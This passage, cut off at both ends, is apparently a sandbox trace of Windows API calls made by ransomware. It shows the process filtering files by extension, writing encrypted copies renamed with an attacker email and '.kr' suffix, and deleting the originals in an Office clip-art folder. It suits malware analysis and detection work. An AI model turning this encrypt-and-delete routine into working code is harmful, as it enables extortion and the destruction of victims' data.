returned 5 [0186.077] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.077] lstrlenW (lpString=".ppt") returned 4 [0186.077] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.077] lstrlenW (lpString=".zip") returned 4 [0186.077] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.077] lstrlenW (lpString=".rar") returned 4 [0186.077] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.078] lstrlenW (lpString=".bz2") returned 4 [0186.078] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.078] lstrlenW (lpString=".7z") returned 3 [0186.078] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.078] lstrlenW (lpString=".dbf") returned 4 [0186.078] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.078] lstrlenW (lpString=".1cd") returned 4 [0186.078] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0186.078] lstrlenW (lpString=".jpg") returned 4 [0186.078] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.078] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.078] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0186.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.079] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10122) returned 1 [0186.079] CloseHandle (hObject=0x450) returned 1 [0186.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0186.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0186.080] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.080] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0186.081] GetLastError () returned 0x0 [0186.081] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x278a, lpOverlapped=0x0) returned 1 [0186.147] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2790, lpOverlapped=0x0) returned 1 [0186.148] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.148] WriteFile (in: hFile=0x540, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.148] SetEndOfFile (hFile=0x540) returned 1 [0186.148] CloseHandle (hObject=0x540) returned 1 [0186.148] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.148] SetEndOfFile (hFile=0x450) returned 1 [0186.151] CloseHandle (hObject=0x450) returned 1 [0186.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0186.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.152] lstrlenW (lpString=".doc") returned 4 [0186.152] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.152] lstrlenW (lpString=".docx") returned 5 [0186.152] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.152] lstrlenW (lpString=".pdf") returned 4 [0186.152] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.152] lstrlenW (lpString=".xls") returned 4 [0186.152] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.152] lstrlenW (lpString=".xlsx") returned 5 [0186.152] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.153] lstrlenW (lpString=".ppt") returned 4 [0186.153] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.153] lstrlenW (lpString=".zip") returned 4 [0186.153] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.153] lstrlenW (lpString=".rar") returned 4 [0186.153] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.153] lstrlenW (lpString=".bz2") returned 4 [0186.153] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.153] lstrlenW (lpString=".7z") returned 3 [0186.153] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.153] lstrlenW (lpString=".dbf") returned 4 [0186.153] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.153] lstrlenW (lpString=".1cd") returned 4 [0186.153] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.153] lstrlenW (lpString=".jpg") returned 4 [0186.153] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.153] lstrlenW (lpString=".doc") returned 4 [0186.153] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.153] lstrlenW (lpString=".docx") returned 5 [0186.153] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.153] lstrlenW (lpString=".pdf") returned 4 [0186.153] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.153] lstrlenW (lpString=".xls") returned 4 [0186.154] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.154] lstrlenW (lpString=".xlsx") returned 5 [0186.154] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.154] lstrlenW (lpString=".ppt") returned 4 [0186.154] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.154] lstrlenW (lpString=".zip") returned 4 [0186.154] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.154] lstrlenW (lpString=".rar") returned 4 [0186.154] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.154] lstrlenW (lpString=".bz2") returned 4 [0186.154] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.154] lstrlenW (lpString=".7z") returned 3 [0186.154] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.154] lstrlenW (lpString=".dbf") returned 4 [0186.154] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.154] lstrlenW (lpString=".1cd") returned 4 [0186.154] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0186.154] lstrlenW (lpString=".jpg") returned 4 [0186.154] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.154] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.154] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0186.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.249] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5058) returned 1 [0186.249] CloseHandle (hObject=0x4d8) returned 1 [0186.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0186.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0186.250] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.250] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.251] GetLastError () returned 0x0 [0186.251] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x13c2, lpOverlapped=0x0) returned 1 [0186.296] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0186.297] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.298] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.298] SetEndOfFile (hFile=0x4d4) returned 1 [0186.298] CloseHandle (hObject=0x4d4) returned 1 [0186.298] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.298] SetEndOfFile (hFile=0x4d8) returned 1 [0186.300] CloseHandle (hObject=0x4d8) returned 1 [0186.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0186.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.302] lstrlenW (lpString=".doc") returned 4 [0186.302] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.302] lstrlenW (lpString=".docx") returned 5 [0186.302] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0186.302] lstrlenW (lpString=".pdf") returned 4 [0186.302] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.302] lstrlenW (lpString=".xls") returned 4 [0186.302] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.302] lstrlenW (lpString=".xlsx") returned 5 [0186.302] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0186.302] lstrlenW (lpString=".ppt") returned 4 [0186.302] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.302] lstrlenW (lpString=".zip") returned 4 [0186.302] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.302] lstrlenW (lpString=".rar") returned 4 [0186.302] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.302] lstrlenW (lpString=".bz2") returned 4 [0186.302] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.302] lstrlenW (lpString=".7z") returned 3 [0186.302] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.302] lstrlenW (lpString=".dbf") returned 4 [0186.302] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.302] lstrlenW (lpString=".1cd") returned 4 [0186.302] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.302] lstrlenW (lpString=".jpg") returned 4 [0186.302] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.303] lstrlenW (lpString=".doc") returned 4 [0186.303] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.303] lstrlenW (lpString=".docx") returned 5 [0186.303] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0186.303] lstrlenW (lpString=".pdf") returned 4 [0186.303] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.303] lstrlenW (lpString=".xls") returned 4 [0186.303] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.303] lstrlenW (lpString=".xlsx") returned 5 [0186.303] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0186.303] lstrlenW (lpString=".ppt") returned 4 [0186.303] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.303] lstrlenW (lpString=".zip") returned 4 [0186.303] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.303] lstrlenW (lpString=".rar") returned 4 [0186.303] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.303] lstrlenW (lpString=".bz2") returned 4 [0186.303] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.303] lstrlenW (lpString=".7z") returned 3 [0186.303] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.303] lstrlenW (lpString=".dbf") returned 4 [0186.303] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.303] lstrlenW (lpString=".1cd") returned 4 [0186.303] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0186.303] lstrlenW (lpString=".jpg") returned 4 [0186.303] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.304] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0186.304] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0186.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.831] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6700) returned 1 [0186.831] CloseHandle (hObject=0x4d4) returned 1 [0186.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0186.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0186.832] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.832] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.833] GetLastError () returned 0x0 [0186.833] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0186.853] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1a30, lpOverlapped=0x0) returned 1 [0186.854] ReadFile (in: hFile=0x4d4, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.854] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.854] SetEndOfFile (hFile=0x51c) returned 1 [0186.855] CloseHandle (hObject=0x51c) returned 1 [0186.855] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.855] SetEndOfFile (hFile=0x4d4) returned 1 [0186.860] CloseHandle (hObject=0x4d4) returned 1 [0186.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0186.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.862] lstrlenW (lpString=".doc") returned 4 [0186.862] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.862] lstrlenW (lpString=".docx") returned 5 [0186.862] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.862] lstrlenW (lpString=".pdf") returned 4 [0186.862] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.862] lstrlenW (lpString=".xls") returned 4 [0186.862] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.862] lstrlenW (lpString=".xlsx") returned 5 [0186.862] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.862] lstrlenW (lpString=".ppt") returned 4 [0186.862] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.862] lstrlenW (lpString=".zip") returned 4 [0186.862] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.862] lstrlenW (lpString=".rar") returned 4 [0186.862] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.862] lstrlenW (lpString=".bz2") returned 4 [0186.862] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.862] lstrlenW (lpString=".7z") returned 3 [0186.862] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.862] lstrlenW (lpString=".dbf") returned 4 [0186.862] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.862] lstrlenW (lpString=".1cd") returned 4 [0186.862] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.862] lstrlenW (lpString=".jpg") returned 4 [0186.862] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.863] lstrlenW (lpString=".doc") returned 4 [0186.863] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.863] lstrlenW (lpString=".docx") returned 5 [0186.863] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0186.863] lstrlenW (lpString=".pdf") returned 4 [0186.863] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.863] lstrlenW (lpString=".xls") returned 4 [0186.863] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.863] lstrlenW (lpString=".xlsx") returned 5 [0186.863] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0186.863] lstrlenW (lpString=".ppt") returned 4 [0186.863] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0186.863] lstrlenW (lpString=".zip") returned 4 [0186.863] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.863] lstrlenW (lpString=".rar") returned 4 [0186.863] lstrcmpiW (lpString1=".rar", 